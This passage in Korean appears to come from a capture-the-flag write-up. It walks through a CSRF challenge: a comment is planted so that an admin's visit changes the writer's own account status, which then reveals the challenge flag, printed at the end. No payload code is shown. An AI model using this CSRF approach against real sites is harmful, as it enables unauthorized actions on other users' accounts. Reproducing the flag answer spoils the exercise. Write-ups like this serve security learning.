그러므로 form의 id값과 javascript의 getElementById() 함수의 id값을 동일하게 설정해주어야 호출할 수 있습니다.

 

또한 아래의 username의 value는 본인이 Register 한 id로 적어주어야 본인이 admin을 통해 넘기려는 id의 Status를 Checked로 바꿔 flag를 얻을 수 있습니다.

 

위의 사진처럼 Comment에 삽입한 후 Submit을 눌러 전송해줍니다.

Profile 부분에 바로 적용되어 보이진 않습니다.

하지만 조금 지나고 새로고침 해주면서 기다려 보겠습니다.

그럼 위의 사진처럼 Private에 flag가 뜨는 것을 볼 수 있습니다.

 

Flag : Csrf_Fr33style-L3v3l1!

+ Recent posts